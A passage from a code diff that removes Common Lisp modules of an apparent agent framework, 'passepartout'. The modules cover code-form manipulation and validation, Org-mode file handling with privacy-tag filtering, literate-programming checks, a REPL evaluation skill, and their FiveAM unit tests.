-                        (string-equal (symbol-name (second form)) target-name))
-                   (push (list wrapper-symbol form) results)
-                   (push form results))))
-    (format nil "~{~s~^~%~%~}" (nreverse results))))
-
-(defun lisp-list-definitions (code)
-  "Returns a list of names for all top-level definitions (defun, defmacro, etc.)."
-  (let ((*read-eval* nil) (names nil))
-    (with-input-from-string (s code)
-      (loop for form = (read s nil :eof) until (eq form :eof)
-            when (and (listp form) 
-                      (symbolp (car form))
-                      (member (symbol-name (car form)) 
-                              '("DEFUN" "DEFMACRO" "DEFMETHOD" "DEFVAR" "DEFPARAMETER")
-                              :test #'string-equal)
-                      (symbolp (second form)))
-            do (push (second form) names)))
-    (nreverse names)))
-
-(defun lisp-inject (code target-name new-form-string)
-  "Injects a new form into the body of a targeted definition."
-  (let ((*read-eval* nil)
-        (new-form (read-from-string new-form-string))
-        (results nil))
-    (with-input-from-string (s code)
-      (loop for form = (read s nil :eof) until (eq form :eof)
-            do (if (and (listp form) 
-                        (symbolp (car form))
-                        (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
-                        (symbolp (second form))
-                        (string-equal (symbol-name (second form)) target-name))
-                   (push (append form (list new-form)) results)
-                   (push form results))))
-    (format nil "~{~s~^~%~%~}" (nreverse results))))
-
-(defun lisp-slurp (code target-name form-to-slurp-string)
-  "Adds a form to the end of a named list or definition (Paredit slurp)."
-  (let ((*read-eval* nil)
-        (to-slurp (read-from-string form-to-slurp-string))
-        (results nil))
-    (with-input-from-string (s code)
-      (loop for form = (read s nil :eof) until (eq form :eof)
-            do (if (and (listp form) 
-                        (symbolp (second form))
-                        (string-equal (symbol-name (second form)) target-name))
-                   (push (append form (list to-slurp)) results)
-                   (push form results))))
-    (format nil "~{~s~^~%~%~}" (nreverse results))))
-
-(defskill :passepartout-programming-lisp
-  :priority 400
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(defun plist-keywords-normalize (plist)
-  (when (listp plist)
-    (loop for (k v) on plist by #'cddr
-          collect (if (and (symbolp k) (not (keywordp k)))
-                       (intern (string k) :keyword)
-                       k)
-          collect v)))
-
-(defpackage :passepartout-utils-lisp-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:utils-lisp-suite))
-
-(in-package :passepartout-utils-lisp-tests)
-
-(def-suite utils-lisp-suite
-  :description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
-
-(in-suite utils-lisp-suite)
-
-(test structural-balanced
-  "Contract 1: balanced code returns T."
-  (is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
-
-(test structural-unbalanced-open
-  "Contract 1: missing close paren returns nil + error."
-  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
-    (is (null ok))
-    (is (search "Reader Error" reason))))
-
-(test structural-unbalanced-close
-  "Contract 1: extra close paren returns nil + error."
-  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
-    (is (null ok))
-    (is (search "Reader Error" reason))))
-
-(test syntactic-valid
-  "Contract 2: valid syntax passes syntactic check."
-  (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
-
-(test semantic-safe
-  "Contract 3: safe code passes semantic check."
-  (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
-
-(test semantic-blocked-eval
-  "Contract 3: eval forms are blocked by semantic check."
-  (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
-    (is (null ok))
-    (is (search "Unsafe" reason))))
-
-(test unified-success
-  "Contract 4: valid code returns :success via lisp-validate."
-  (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
-    (is (eq (getf result :status) :success))))
-
-(test unified-failure
-  "Contract 4: invalid code returns :error via lisp-validate."
-  (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
-    (is (eq (getf result :status) :error))))
-
-(test eval-basic
-  "Contract 5: lisp-eval returns :success with captured result."
-  (let ((result (passepartout:lisp-eval "(+ 1 2)")))
-    (is (eq (getf result :status) :success))
-    (is (string= (getf result :result) "3"))))
-
-(test structural-extract
-  "Contract 6: lisp-extract finds and returns a named function."
-  (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
-         (extracted (passepartout:lisp-extract code "hello")))
-    (is (not (null extracted)))
-    (let ((form (read-from-string extracted)))
-      (is (eq (car form) 'DEFUN))
-      (is (eq (second form) 'HELLO)))))
-
-(test list-definitions
-  "Contract 7: lisp-list-definitions returns all defined names."
-  (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
-    (let ((names (passepartout:lisp-list-definitions code)))
-      (is (member 'FOO names))
-      (is (member 'BAR names))
-      (is (member '*BAZ* names)))))
-
-(test structural-inject
-  "Contract 8: lisp-inject adds a form to a function body."
-  (let* ((code "(defun my-fun (x) (print x))")
-         (injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
-    (let ((form (read-from-string injected)))
-      (is (equal (last form) '((FINISH-OUTPUT)))))))
-
-(test structural-slurp
-  "Contract 9: lisp-slurp appends a form to a function body."
-  (let* ((code "(defun work () (step-1))")
-         (slurped (passepartout:lisp-slurp code "work" "(step-2)")))
-    (let ((form (read-from-string slurped)))
-      (is (equal (last form) '((STEP-2)))))))

lisp/programming-literate.lisp

@@ -1,103 +0,0 @@
-(in-package :passepartout)
-
-(defun literate-extract-lisp-blocks (content)
-  "Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT.
-Returns a list of block strings."
-  (let ((lines (uiop:split-string content :separator '(#\Newline)))
-        (blocks nil)
-        (in-block nil)
-        (current-block nil))
-    (dolist (line lines)
-      (let ((trimmed (string-trim '(#\Space) line)))
-        (cond
-          ((uiop:string-prefix-p "#+begin_src lisp" trimmed)
-           (setf in-block t current-block nil))
-          ((uiop:string-prefix-p "#+end_src" trimmed)
-           (when in-block
-             (push (format nil "~{~a~^~%~}" (nreverse current-block)) blocks)
-             (setf in-block nil current-block nil)))
-          (in-block
-           (push line current-block)))))
-    (nreverse blocks)))
-
-(defun literate-block-balance-check (org-file)
-  "Verifies that all Lisp source blocks in an Org file have balanced parentheses.
-Returns T if all blocks pass validation, or an error string listing failures."
-  (when (not (uiop:file-exists-p org-file))
-    (return-from literate-block-balance-check
-      (format nil "Org file not found: ~a" org-file)))
-  (let* ((content (uiop:read-file-string org-file))
-         (blocks (literate-extract-lisp-blocks content))
-         (failures nil))
-    (if (null blocks)
-        t
-        (progn
-          (loop for i from 0
-                for block in blocks
-                for (ok reason) = (multiple-value-list
-                                    (lisp-structural-check block))
-                unless ok
-                do (push (format nil "Block ~d: ~a" (1+ i) reason) failures))
-          (if failures
-              (format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures)
-              t)))))
-
-(defun literate-tangle-sync-check (org-file lisp-file)
-  "Verifies that the .lisp file matches the tangled output of the .org file.
-Compares the concatenation of all lisp blocks from the Org file against the
-contents of the Lisp file. Returns T if they match, or an error message."
-  (when (not (uiop:file-exists-p org-file))
-    (return-from literate-tangle-sync-check
-      (format nil "Org file not found: ~a" org-file)))
-  (when (not (uiop:file-exists-p lisp-file))
-    (return-from literate-tangle-sync-check
-      (format nil "Lisp file not found: ~a" lisp-file)))
-  (let* ((org-content (uiop:read-file-string org-file))
-         (org-blocks (literate-extract-lisp-blocks org-content))
-         (tangled (format nil "~{~a~^~%~%~}" org-blocks))
-         (lisp-content (uiop:read-file-string lisp-file)))
-    (if (string= (string-trim '(#\Space #\Newline) tangled)
-                 (string-trim '(#\Space #\Newline) lisp-content))
-        t
-        (format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file))))
-
-(defskill :passepartout-programming-literate
-  :priority 300
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-literate-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:literate-suite))
-
-(in-package :passepartout-programming-literate-tests)
-
-(def-suite literate-suite :description "Verification of the Literate Programming skill")
-(in-suite literate-suite)
-
-(test test-extract-lisp-blocks
-  "Contract 1: extracts lisp from #+begin_src blocks."
-  (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
-         (extracted (literate-extract-lisp-blocks org-content)))
-    (let ((joined (format nil "~{~a~^~%~}" extracted)))
-      (is (search "(+ 1 2)" joined))
-      (is (search "(+ 3 4)" joined)))))
-
-(test test-block-balance-check-valid
-  "Contract 2: balanced parens return T."
-  (is (eq t (literate-block-balance-check
-             (merge-pathnames "org/core-pipeline.org"
-                              (uiop:ensure-directory-pathname
-                               (uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
-
-(test test-block-balance-check-missing-close
-  "Contract 2: unbalanced parens return non-T."
-  (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
-
-(test test-tangle-sync-check
-  "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
-  (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp")))
-    (is (or (eq t result) (stringp result))
-        "Should return T or a mismatch description")))

lisp/programming-org.lisp

@@ -1,357 +0,0 @@
-(in-package :passepartout)
-
-(defun org-filetags-extract (content)
-  "Extracts the list of tags from a #+FILETAGS: line."
-  (let ((lines (uiop:split-string content :separator '(#\Newline))))
-    (dolist (line lines)
-      (when (uiop:string-prefix-p "#+FILETAGS:" (string-trim '(#\Space) line))
-        (let ((tag-str (string-trim " :" (subseq (string-trim '(#\Space) line) 10))))
-          (return-from org-filetags-extract
-            (mapcar (lambda (tag) (format nil ":~a" (string-trim '(#\Space) tag)))
-                    (uiop:split-string tag-str :separator '(#\space #\tab))))))))
-  nil)
-
-(defun org-privacy-tag-p (tags-list)
-  "Returns T if any tag in TAGS-LIST matches the Dispatcher's privacy tags."
-  (let ((privacy-tags (symbol-value (find-symbol "*DISPATCHER-PRIVACY-TAGS*" :passepartout))))
-    (when (and tags-list privacy-tags)
-      (some (lambda (tag)
-              (some (lambda (private-tag)
-                      (string-equal (string-trim '(#\: #\space) tag)
-                                    (string-trim '(#\: #\space) private-tag)))
-                    privacy-tags))
-            tags-list))))
-
-(defun org-privacy-strip (content)
-  "Removes Org headlines whose :TAGS: property contains a privacy-filtered tag.
-Returns the filtered content as a string."
-  (let* ((lines (uiop:split-string content :separator '(#\Newline)))
-         (result-lines nil)
-         (skip-depth nil)
-         (current-tags nil)
-         (in-properties nil))
-    (dolist (line lines)
-      (cond
-        (skip-depth
-         ;; We're inside a skipped subtree
-         (when (and (uiop:string-prefix-p "*" (string-trim '(#\Space) line))
-                    (<= (length (string-trim '(#\Space) line)) skip-depth))
-           (setf skip-depth nil)))
-        ((uiop:string-prefix-p ":PROPERTIES:" (string-trim '(#\Space) line))
-         (setf in-properties t)
-         (push line result-lines))
-        ((uiop:string-prefix-p ":END:" (string-trim '(#\Space) line))
-         (setf in-properties nil)
-         (when current-tags
-           (when (org-privacy-tag-p (reverse current-tags))
-             (setf skip-depth
-                   (length (car (last result-lines
-                                      (1+ (position-if
-                                           (lambda (l)
-                                             (uiop:string-prefix-p "*" (string-trim '(#\Space) l)))
-                                           (reverse result-lines))))))))
-           (setf current-tags nil))
-         (push line result-lines))
-        ((and in-properties (uiop:string-prefix-p ":TAGS:" (string-trim '(#\Space) line)))
-         (let ((tag-val (string-trim '(#\Space) (subseq (string-trim '(#\Space) line) 6))))
-           (setf current-tags (uiop:split-string tag-val :separator '(#\space #\tab))))
-         (push line result-lines))
-        (t
-         (push line result-lines))))
-    (format nil "~{~a~%~}" (nreverse result-lines))))
-
-(defun org-read-file (filepath)
-  "Reads an Org file into a string, applying privacy filtering."
-  (let* ((raw (uiop:read-file-string filepath))
-         (filetags (org-filetags-extract raw)))
-    (if (org-privacy-tag-p filetags)
-        (progn
-          (log-message "UTILS-ORG: Blocked read of ~a — file-level privacy tag(s) ~a" filepath filetags)
-          nil)
-        (org-privacy-strip raw))))
-
-(defun org-write-file (filepath content)
-  "Writes content to an Org file."
-  (uiop:with-output-file (s filepath :if-exists :supersede)
-    (format s "~a" content)))
-
-(defun org-id-generate ()
-  "Generates a new UUID for an Org node."
-  (string-downcase (format nil "~a" (uuid:make-v4-uuid))))
-
-(defun org-id-format (id)
-  "Ensures the ID has the 'id:' prefix."
-  (if (uiop:string-prefix-p "id:" id)
-      id
-      (format nil "id:~a" id)))
-
-(defun org-property-set (ast target-id property value)
-  "Recursively sets a property on a headline with a matching ID in the AST."
-  (let ((type (getf ast :type))
-        (props (getf ast :properties))
-        (contents (getf ast :contents)))
-    (when (and (eq type :HEADLINE) (string= (getf props :ID) target-id))
-      (setf (getf (getf ast :properties) property) value)
-      (return-from org-property-set t))
-    (dolist (child contents)
-      (when (listp child)
-        (when (org-property-set child target-id property value)
-          (return-from org-property-set t)))))
-  nil)
-
-(defun org-todo-set (ast target-id status)
-  "Sets the TODO status of a headline in the AST."
-  (org-property-set ast target-id :TODO status))
-
-(defun org-headline-add (ast parent-id title)
-  "Adds a new headline as a child of the parent-id in the AST."
-  (let* ((type (getf ast :type))
-         (props (getf ast :properties))
-         (id (getf props :ID))
-         (contents (getf ast :contents)))
-    (when (and (eq type :HEADLINE) (string= id parent-id))
-      (let ((new-node (list :type :HEADLINE
-                           :properties (list :ID (org-id-format (org-id-generate))
-                                            :TITLE title)
-                           :contents nil)))
-        (setf (getf ast :contents) (append contents (list new-node)))
-        (return-from org-headline-add t)))
-    (dolist (child contents)
-      (when (listp child)
-        (when (org-headline-add child parent-id title)
-          (return-from org-headline-add t)))))
-  nil)
-
-(defun org-headline-find-by-id (ast id)
-  "Finds a headline by its ID in the AST."
-  (let ((props (getf ast :properties)))
-    (when (string= (getf props :ID) id)
-      (return-from org-headline-find-by-id ast))
-    (dolist (child (getf ast :contents))
-      (when (listp child)
-        (let ((found (org-headline-find-by-id child id)))
-          (when found (return-from org-headline-find-by-id found)))))
-    nil))
-
-(defun org-headline-find-by-title (ast title)
-  "Finds a headline by its title in the AST."
-  (let ((props (getf ast :properties)))
-     (when (string-equal (getf props :TITLE) title)
-      (return-from org-headline-find-by-title ast))
-    (dolist (child (getf ast :contents))
-      (when (listp child)
-        (let ((found (org-headline-find-by-title child title)))
-          (when found (return-from org-headline-find-by-title found)))))
-     nil))
-
-(defun org-id-get-create (ast target-id)
-  "If the headline at TARGET-ID has an :ID property, return it.
-If not, generate a new UUID, set it as the :ID property, and return it.
-TARGET-ID can be a headline's :ID or :TITLE in the AST.
-Returns nil if the headline is not found."
-  (let ((headline (or (org-headline-find-by-id ast target-id)
-                      (org-headline-find-by-title ast target-id))))
-    (when headline
-      (let* ((props (getf headline :properties))
-             (id (getf props :ID)))
-        (if id
-            id
-            (let ((new-id (org-id-format (org-id-generate))))
-              (setf (getf props :ID) new-id)
-              new-id))))))
-
-(defun org-subtree-extract (org-content heading-name)
-  "Extracts a subtree by heading name from Org text. Returns the subtree
-content as a string (headline + body + children), or nil if not found."
-  (let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
-         (target-depth nil)
-         (in-target nil)
-         (result nil))
-    (loop for line in lines
-          for trimmed = (string-trim '(#\Space) line)
-          do (let ((depth (when (uiop:string-prefix-p "*" trimmed)
-                            (length (subseq trimmed 0
-                                            (position-if (lambda (c) (not (char= c #\*)))
-                                                         trimmed)))))
-                   (headline-title (when (uiop:string-prefix-p "*" trimmed)
-                                     (string-trim '(#\* #\Space) trimmed))))
-               (when depth
-                 (when (string-equal headline-title heading-name)
-                   (setf target-depth depth in-target t))
-                 (when (and in-target target-depth
-                            (<= depth target-depth)
-                            (not (string-equal headline-title heading-name)))
-                   (return-from org-subtree-extract
-                     (format nil "~{~a~^~%~}" (nreverse result)))))
-               (when in-target (push line result))))
-    (when result
-      (format nil "~{~a~^~%~}" (nreverse result)))))
-
-(defun org-heading-list (org-content)
-  "Returns a list of all top-level heading names in Org text."
-  (let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
-         (headings nil))
-    (dolist (line lines)
-      (let ((trimmed (string-trim '(#\Space) line)))
-        (when (uiop:string-prefix-p "* " trimmed)
-          (let ((title (string-trim '(#\* #\Space) trimmed)))
-            (unless (find title headings :test #'string-equal)
-              (push title headings))))))
-    (nreverse headings)))
-
-(defun org-modify (filepath old-text new-text)
-  "Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath.
-Returns T if OLD-TEXT was found and replaced, nil if not found."
-  (when (not (uiop:file-exists-p filepath))
-    (log-message "UTILS-ORG: org-modify: file not found: ~a" filepath)
-    (return-from org-modify nil))
-  (let* ((content (uiop:read-file-string filepath))
-         (pos (search old-text content :test #'string=)))
-    (unless pos
-      (log-message "UTILS-ORG: org-modify: text not found in ~a" filepath)
-      (return-from org-modify nil))
-    (let ((modified (cl-ppcre:regex-replace-all
-                      (cl-ppcre:quote-meta-chars old-text)
-                      content new-text)))
-      (org-write-file filepath modified)
-      (log-message "UTILS-ORG: Modified ~a (~d chars replaced)" filepath (length old-text))
-      t)))
-
-(defun org-ast-render (ast &key (depth 1))
-  "Converts a plist AST node back to Org text.
-AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
-              :contents (child-ast ...))"
-  (let* ((type (getf ast :TYPE))
-         (props (getf ast :properties))
-         (title (or (getf props :TITLE) "Untitled"))
-         (tags (getf props :TAGS))
-         (todo (getf props :TODO-STATE))
-         (children (getf ast :contents))
-         (raw-content (getf ast :raw-content))
-         (stars (make-string depth :initial-element #\*))
-         (output ""))
-    (unless (eq type :HEADLINE)
-      (return-from org-ast-render (or raw-content "")))
-    ;; Headline
-    (setf output (format nil "~a~@[ ~a~] ~a" stars todo title))
-    (when tags
-      (let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags))))
-        (setf output (concatenate 'string output (format nil " :~a::~%" tag-str))))
-      (setf output (concatenate 'string output (string #\Newline))))
-    (unless tags
-      (setf output (concatenate 'string output (string #\Newline))))
-    ;; Property drawer
-    (setf output (concatenate 'string output ":PROPERTIES:" (string #\Newline)))
-    (loop for (k v) on props by #'cddr
-          do (unless (or (eq k :TITLE) (eq k :TAGS))
-               (setf output (concatenate 'string output
-                                         (format nil ":~a: ~a~%" k v)))))
-    (setf output (concatenate 'string output ":END:" (string #\Newline)))
-    ;; Content
-    (when raw-content
-      (setf output (concatenate 'string output raw-content (string #\Newline))))
-    ;; Children
-    (dolist (child children)
-      (when (listp child)
-        (setf output (concatenate 'string output
-                                  (org-ast-render child :depth (1+ depth))))))
-    output))
-
-(defskill :passepartout-programming-org
-  :priority 100
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ignore-errors (ql:quickload :fiveam :silent t)))
-
-(defpackage :passepartout-utils-org-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:utils-org-suite))
-
-(in-package :passepartout-utils-org-tests)
-
-(def-suite utils-org-suite
-  :description "Tests for Utils Org skill.")
-
-(in-suite utils-org-suite)
-
-(test id-generation
-  "Contract 1: org-id-generate returns unique UUID strings."
-  (let ((id1 (org-id-generate))
-        (id2 (org-id-generate)))
-    (is (plusp (length id1)))
-    (is (not (string= id1 id2)))))
-
-(test id-format
-  "Contract 2: org-id-format ensures 'id:' prefix."
-  (let ((formatted (org-id-format "abc12345")))
-    (is (search "id:" formatted))))
-
-(test property-setter
-  "Contract 3: org-property-set modifies a property on a headline."
-  (let ((ast (list :type :HEADLINE
-                  :properties (list :ID "id:test123" :TITLE "Test")
-                  :contents nil)))
-    (org-property-set ast "id:test123" :STATUS "ACTIVE")
-    (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
-
-(test todo-setter
-  "Contract 4: org-todo-set changes TODO state via org-property-set."
-  (let ((ast (list :type :HEADLINE
-                  :properties (list :ID "id:todo001" :TITLE "Task")
-                  :contents nil)))
-    (org-todo-set ast "id:todo001" "DONE")
-    (is (string= (getf (getf ast :properties) :TODO) "DONE"))))
-
-(test test-org-headline-add
-  "Contract 5: org-headline-add inserts a child headline."
-  (let* ((ast (list :type :HEADLINE
-                   :properties (list :ID "root" :TITLE "Root")
-                   :contents nil)))
-    (is (eq t (org-headline-add ast "root" "New Child")))
-    (is (= 1 (length (getf ast :contents))))
-    (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
-
-(test test-org-headline-find-by-id
-  "Contract 6: org-headline-find-by-id finds a headline by ID."
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "root" :TITLE "Root")
-                    :contents
-                    (list (list :type :HEADLINE
-                                :properties (list :ID "child1" :TITLE "Child"))
-                          (list :type :HEADLINE
-                                :properties (list :ID "child2" :TITLE "Child 2"))))))
-    (let ((found (org-headline-find-by-id ast "child2")))
-      (is (not (null found)))
-      (is (string= "Child 2" (getf (getf found :properties) :TITLE))))
-    (let ((missing (org-headline-find-by-id ast "nonexistent")))
-      (is (null missing) "Missing ID should return nil"))))
-
-(test test-org-id-get-create
-  "Contract 7: org-id-get-create returns existing ID or creates and sets a new one."
-  ;; Case 1: headline already has an ID
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "id:existing" :TITLE "Has ID")
-                    :contents nil)))
-    (is (string= "id:existing" (org-id-get-create ast "id:existing"))))
-  ;; Case 2: headline exists by title but has no ID — one should be created
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :TITLE "No ID")
-                    :contents nil)))
-    (let ((new-id (org-id-get-create ast "No ID")))
-      (is (stringp new-id))
-      (is (uiop:string-prefix-p "id:" new-id))
-      ;; Verify the ID was set on the headline
-      (is (string= new-id (getf (getf ast :properties) :ID)))))
-  ;; Case 3: idempotent — calling again returns same ID
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :TITLE "Idempotent")
-                    :contents nil)))
-    (let ((id1 (org-id-get-create ast "Idempotent"))
-          (id2 (org-id-get-create ast "Idempotent")))
-      (is (string= id1 id2))))
-  ;; Case 4: headline not found returns nil
-  (let* ((ast (list :type :HEADLINE
-                    :properties (list :ID "root" :TITLE "Root")
-                    :contents nil)))
-    (is (null (org-id-get-create ast "nonexistent")))))

lisp/programming-repl.lisp

@@ -1,185 +0,0 @@
-(in-package :passepartout)
-
-(defvar *repl-package* :passepartout
-  "Default package for REPL evaluations.")
-
-(defvar *repl-history* nil
-  "History of evaluated forms for session continuity.")
-
-(defvar *repl-variables* (make-hash-table :test #'eq)
-  "Cache of bound variables for inspection.")
-
-(defun repl-eval (code-string &key (package *repl-package*))
-  "Evaluate Lisp code and return (values result output error).
-   - result: the return value as string
-   - output: captured stdout
-   - error: error message or nil on success"
-  (let ((out (make-string-output-stream))
-        (err (make-string-output-stream))
-        (pkg (or (find-package package) (find-package :passepartout))))
-    (handler-case
-        (let* ((*standard-output* out)
-               (*error-output* err)
-               (*package* pkg)
-               (*read-eval* nil)
-               (result nil))
-          (with-input-from-string (s code-string)
-            (loop for form = (read s nil :eof) until (eq form :eof)
-                  do (setf result (eval form))))
-          (push code-string *repl-history*)
-          (values
-           (format nil "~a" result)
-           (get-output-stream-string out)
-           nil))
-      (error (c)
-        (values
-         nil
-         (get-output-stream-string out)
-         (format nil "~a" c))))))
-
-(defun repl-inspect (symbol-name &key (package *repl-package*))
-  "Inspect a variable's value and structure."
-  (let* ((pkg (or (find-package package) (find-package :passepartout)))
-         (sym (find-symbol (string-upcase symbol-name) pkg)))
-    (cond
-      ((null sym)
-       (format nil "Symbol ~a not found in package ~a" symbol-name package))
-      ((boundp sym)
-       (let ((val (symbol-value sym)))
-         (format nil "~a = ~a~%Type: ~a~%~%"
-                 sym val (type-of val))))
-      ((fboundp sym)
-       (format nil "~a is a function~%Args: ~a~%"
-               sym (documentation sym 'function)))
-      (t
-       (format nil "~a is unbound" symbol-name)))))
-
-(defun repl-list-vars (&key (package *repl-package*))
-  "List all bound variables in the package."
-  (let* ((pkg (or (find-package package) (find-package :passepartout)))
-         (vars nil))
-    (do-symbols (sym pkg)
-      (when (boundp sym)
-        (push (format nil "~a" sym) vars)))
-    (sort vars #'string<)))
-
-(defun repl-load-file (filepath)
-  "Load a Lisp file into the current image."
-  (handler-case
-      (progn
-        (load filepath)
-        (format nil "Loaded ~a" filepath))
-    (error (c)
-      (format nil "Error loading ~a: ~a" filepath c))))
-
-(defun repl-set-package (package-name)
-  "Set the default package for REPL evaluations."
-  (let ((pkg (find-package (string-upcase package-name))))
-    (if pkg
-        (setf *repl-package* pkg)
-        (format nil "Package ~a not found" package-name))))
-
-(defun repl-help ()
-  "Return available REPL commands."
-  (format nil "~%
-REPL Skill Commands:
--------------------
-(repl-eval \"code\" :package :passepartout)
-  - Evaluate Lisp code, returns (values result output error)
-
-(repl-inspect \"symbol\" :package :passepartout)
-  - Inspect a variable or function
-
-(repl-list-vars :package :passepartout)
-  - List all bound variables
-
-(repl-load-file \"/path/to/file.lisp\")
-  - Load a file into the image
-
-(repl-set-package :package-name)
-  - Switch default package
-
-(repl-help)
-  - Show this message
-"))
-
-(defun repl-handle (signal)
-  "Pre-reason handler for :repl-eval sensor. Evaluates code and
-writes the result back through the reply-stream."
-  (let* ((payload (getf signal :payload))
-         (code (getf payload :code))
-         (stream (getf (getf signal :meta) :reply-stream))
-         (result (multiple-value-bind (val out err)
-                     (repl-eval code)
-                   (if err
-                       (list :status :error :message err)
-                       (list :status :success :value (or val ""))))))
-    (when stream
-      (handler-case
-          (progn
-            (write-sequence (frame-message result) stream)
-            (finish-output stream))
-        (error (c)
-          (log-message "REPL-EVAL: Failed to write response: ~a" c))))
-    ;; Return T to signal the message was consumed
-    t))
-
-;; Register the handler at load time
-(register-pre-reason-handler :repl-eval #'repl-handle)
-
-(defun repl-mandate (context)
-  "Returns REPL-first engineering mandate when context involves code editing."
-  (let ((raw (or (proto-get (proto-get context :payload) :text) "")))
-    (when (or (search "org-skill-" raw :test #'char-equal)
-              (and (search ".org" raw :test #'char-equal)
-                   (or (search "defun" raw :test #'char-equal)
-                       (search "tangle" raw :test #'char-equal)
-                       (search "write-file" raw :test #'char-equal)
-                       (search "lisp" raw :test #'char-equal)))
-              (search "defun " raw :test #'char-equal)
-              (search "repl-eval" raw :test #'char-equal)
-              (search "validate" raw :test #'char-equal))
-      (format nil "~%REPL-FIRST MANDATE:~%Before writing any defun to an Org file, prototype it in the REPL first. Set :repl-verified t on the write action. On rejection, fix the error and retry.~%"))))
-
-(defskill :passepartout-programming-repl
-  :priority 200
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil)
-  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
-
-(eval-when (:load-toplevel :execute)
-  (push #'repl-mandate *standing-mandates*))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-programming-repl-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:repl-suite))
-
-(in-package :passepartout-programming-repl-tests)
-
-(def-suite repl-suite :description "Verification of the REPL skill")
-(in-suite repl-suite)
-
-(test test-repl-eval-success
-  "Contract 1: repl-eval returns result and no error for valid code."
-  (multiple-value-bind (result output error) (repl-eval "(+ 1 2)")
-    (is (equal "3" result))
-    (is (null error))))
-
-(test test-repl-eval-error
-  "Contract 1: repl-eval returns error message for invalid code."
-  (multiple-value-bind (result output error) (repl-eval "(+ 1 ")
-    (is (null result))
-    (is (stringp error))))
-
-(test test-repl-inspect-found
-  "Contract 2: repl-inspect returns description for a bound symbol."
-  (let ((desc (repl-inspect "+" :package :cl)))
-    (is (search "+" desc))))
-
-(test test-repl-list-vars
-  "Contract 3: repl-list-vars returns a list of symbol name strings."
-  (let ((vars (repl-list-vars :package :keyword)))
-    (is (listp vars))
-    (is (member "PASSEPARTOUT" vars :test #'string-equal))))

lisp/programming-standards.lisp

@@ -1,23 +0,0 @@
-(in-package :passepartout)
-
-(defun standards-git-clean-p (dir)
-  "Checks if a directory has uncommitted changes."
-  (let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain")
-                                 :output :string
-                                 :ignore-error-status t)))
-    (string= "" (string-trim '(#\Space #\Newline #\Tab) status))))
-
-(defun standards-lisp-verify (code)
-  "Enforces Lisp structural and semantic standards using utils-lisp."
-  (let ((result (lisp-validate code :strict t)))
-    (if (eq (getf result :status) :success)
-        t
-        (error (getf result :reason)))))
-
-(defun standards-lisp-format (code)
-  "Ensures Lisp code adheres to formatting standards."
-  (lisp-format code))
-
-(defskill :passepartout-programming-standards
-  :priority 100
-  :trigger (lambda (ctx) (declare (ignore ctx)) nil))

lisp/programming-tools.lisp

@@ -1,696 +0,0 @@
-(in-package :passepartout)
-
-(defun tools-write-file (filepath content)
-  "Write string CONTENT to FILEPATH, creating parent directories."
-  (uiop:ensure-all-directories-exist (list filepath))
-  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
-    (write-string content stream)))
-
-(def-cognitive-tool search-files
-  "Search file contents under a directory for a regex pattern."
-  ((:name "pattern" :description "The regex pattern to search for." :type "string")
-   (:name "path" :description "Directory to search recursively." :type "string")
-   (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
-  :read-only-p t
-  :guard nil
-  :body (lambda (args)
-          (block nil
-            (let* ((pattern (getf args :pattern))
-                   (path (getf args :path))
-                   (include (getf args :include))
-                   (results nil))
-              (unless (and pattern path)
-                (return (list :status :error :message "search-files requires :pattern and :path")))
-              (handler-case
-                  (dolist (file (directory (merge-pathnames
-                                            (if include
-                                                (make-pathname :name :wild :type (subseq include 2) :defaults path)
-                                                (make-pathname :name :wild :type :wild :defaults path))
